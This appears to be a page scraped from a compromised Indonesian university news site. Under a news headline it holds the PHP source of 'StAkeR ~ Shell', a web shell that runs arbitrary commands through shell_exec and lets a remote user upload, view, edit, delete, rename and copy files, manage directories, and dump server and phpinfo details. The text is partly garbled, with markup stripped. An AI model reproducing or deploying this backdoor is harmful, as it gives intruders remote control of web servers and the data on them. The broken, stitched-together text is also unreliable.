Rombongan Pimpinan Unida Studi Banding Ke IPB

Rombongan Pimpinan Unida Studi Banding Ke IPB

Berita

StAkeR ~ Shell
body
{
background-color: #E4E4E4;
color: #000000;
font-family: verdana;
font-size: 11px;
cursor: default;
}
table
{
background-color: #888888;
color: #000000;
font-family: verdana;
font-size: 10px;
cursor: default;
border-spacing: 1px;
margin-left: auto;
margin-right: auto;
width: 600px;
}
td
{
background-color: #E4E4E4;
}
a:link,a:visited,a:active
{
font-family: verdana;
font-size: 10px;
text-decoration: none;
color: #000000;
cursor: default;
}
a:hover
{
color: #FFFFFF;
}
input
{
background-color: #E4E4E4;
font-family: verdana;
font-size: 10px;
border: solid 1px #888888;
cursor: default;
}
#head
{
background-color: #888888;
color: #FFFFFF;
text-align: left;
font-weight: bold;
}
pre
{
background-color: #FFFFFF;
text-align: left;
}
#l
{
color: #FFFFFF;
}
#l:hover
{
color: #E4E4E4;
}
#g
{
color: #000000;
}
#g:hover
{
color: #FFFFFF;
}
location.href='$file'";
$mkdir = $_GET['mkdir'];
$rmdir = $_GET['rmdir'];
// PHP INFO
if($phpinfo == 1) {
phpinfo();
die();
}
echo <<

Shell in: $shell
Uname -a: $uname
Server Address: $server
Server Name: $sname
Server Type: $soft
IP Address: $ip
User Agent: $ua
PHPInfo: Here
Delete File:  
Delete Dir:   
Read File:    
Create Dir:   
Upload File: 
Shell Exec:   
F Rename:   
File Copy:    

ONE;
// File List,Recursive!
if(isset($dir))
{
chdir($dir);
}
foreach (glob("*") as $files)
{
$perms = substr(sprintf('%o', fileperms($files)), -4);
if(is_file($files))
{
if(isset($dir))
{
echo "

";
echo "

";
echo "

";
echo "

";
echo "

";
}
else
{
echo "

";
echo "

";
echo "

";
echo "

";
echo "

";
}
}
if(is_dir($files))
{
if(isset($dir))
{
echo "

";
echo "

";
echo "

";
echo "

";
}
else
{
echo "

";
echo "

";
echo "

";
echo "

";
}
}
}
echo "

$files Remove View Edit $perms
$files Remove View Edit $perms
$files Remove Chdir Directory $perms
$files Remove Chdir Directory $perms

";
// Remove File
if(isset($remove_file) and is_writable($remove_file))
{
if(unlink($remove_file))
{
echo "alert('File Deleted')";
echo $reload;
}
else
{
echo "alert('File Not Deleted')";
}
}
// Upload File
if(isset($_FILES['upload']))
{
$tmp = $_FILES['upload']['tmp_name'];
$up = basename($_FILES['upload']['name']);
if(move_uploaded_file($tmp,$up))
{
echo "alert('File Uploaded with Succesfull ($up)')";
}
else
{
echo "alert('File Not Uploaded')";
}
}
// Command Execute
if(isset($exec))
{
$execute = shell_exec($exec);
if($execute)
{
echo "alert('Executed')";
}
}
// View File
if(isset($vfile) and is_readable($vfile))
{
echo "

".htmlentities(file_get_contents($vfile))."

";
}
// Edit File
if(isset($fedit) and is_writable($fedit))
{
$text = htmlspecialchars(join(file($fedit)));
echo "";
echo "
";
echo "$text";
echo "
";
if(file_exists($fedit))
{
$writez =fopen($fedit,'w+');
$new_text = stripslashes($_POST['text']);
fwrite($writez,$new_text);
fclose($writez);
}
}
// Rename File or Directory
if(file_exists($frename) and isset($frename) and !file_exists($nrename))
{
rename($frename,$nrename);
echo "alert('Done')";
echo $reload;
}
// Copy File
if(file_exists($fcopy) and isset($rcopy) and !file_exists($rcopy) and is_file($fcopy))
{
copy($fcopy,$rcopy);
echo "alert('Done')";
echo $reload;
}
// Create Directory
if(isset($mkdir))
{
if(mkdir($mkdir))
{
echo "alert('Directory Created')";
echo $reload;
}
}
// Remove Directory
if(isset($rmdir))
{
if(rmdir($rmdir))
{
echo "alert('Directory Deleted')";
echo $reload;
}
}
// Author: StAkeR ~ StAkeR@hotmail.it
// v.0.1 ~ 24 Jul 2008
?>